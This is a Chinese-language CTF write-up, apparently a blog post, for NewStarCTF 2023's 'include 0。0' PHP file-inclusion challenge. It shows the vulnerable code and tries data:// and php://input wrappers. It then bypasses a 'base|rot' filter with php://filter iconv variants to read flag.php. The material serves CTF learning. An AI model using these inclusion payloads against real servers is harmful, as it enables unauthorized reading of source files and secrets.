当前位置: 首页 > article >正文

[NewStarCTF 2023]include 0。0--详细解析

信息搜集

进入界面,回显是如下php代码:

 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> nope

告诉我们flag在flag.php中。
且有include()函数,说明是文件包含漏洞,我们要传参file,达到获取flag.php内容的目的。

文件包含

if(isset($file) && !preg_match('/base|rot/i',$file))

要传参file,且file的值中不能有base和rot。

data伪协议可以使用:

data://text/plain,<?php phpinfo();?>

但是使用之后发现没有回显:
在这里插入图片描述
data://伪协议的使用前提是allow_url_fopen :on且allow_url_include:on
可能这两个配置被关闭了。
使用php://input伪协议也不行。
那不受这两个配置影响的伪协议还剩php://filter,这个协议的常规用法是:

php://filter/convert.base64-encode/resource=<目标文件名>

但其实还有很多种变种,比如:

php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名>  //将utf8编码转换utf16编码

我们使用变种里的第二个:
在这里插入图片描述
得到flag.

总结

使用php伪协议时要考虑目标服务器是否开启了相关配置。
php://filter有很多变种,目前还不是很熟悉这个伪协议,明天总结一下。


http://www.kler.cn/a/404935.html

相关文章:

  • java-贪心算法
  • 国标GB28181视频平台EasyCVR视频融合平台H.265/H.264转码业务流程
  • NLP论文速读(多伦多大学)|利用人类偏好校准来调整机器翻译的元指标
  • 实际开发中的协变与逆变案例:数据处理流水线
  • .gitignore模板
  • 原生微信小程序在顶部胶囊左侧水平设置自定义导航兼容各种手机模型
  • Rust学习(六):函数式编程
  • 【C++习题】6.字符串相加
  • Java 岗面试八股文及答案整理(2024最新版)
  • 【Android】Android侧如何抓取日志?
  • WPF应用程序的生命周期-笔记
  • IC脚本之perl
  • 鸿蒙NEXT开发案例:简体繁体转换器
  • 事务详解(特性)
  • GPU 硬件原理架构(一)
  • 搭建MC服务器
  • uniapp 相关的swiper的一些注意事项
  • C++设计模式行为模式———迭代器模式
  • 图形学笔记 - 4. 几何 -网格操作和阴影映射
  • 自动化测试面试技巧
  • 天润融通携手挚达科技:AI技术重塑客户服务体验
  • 面试小结(一)
  • 解决Electron拖拽窗口点击事件失效问题
  • Python CSV文档自动化操作详解
  • SqlServer 链接一个 SqlServer的链接服务器
  • 自动驾驶系列—探索自动驾驶数据管理的核心技术与平台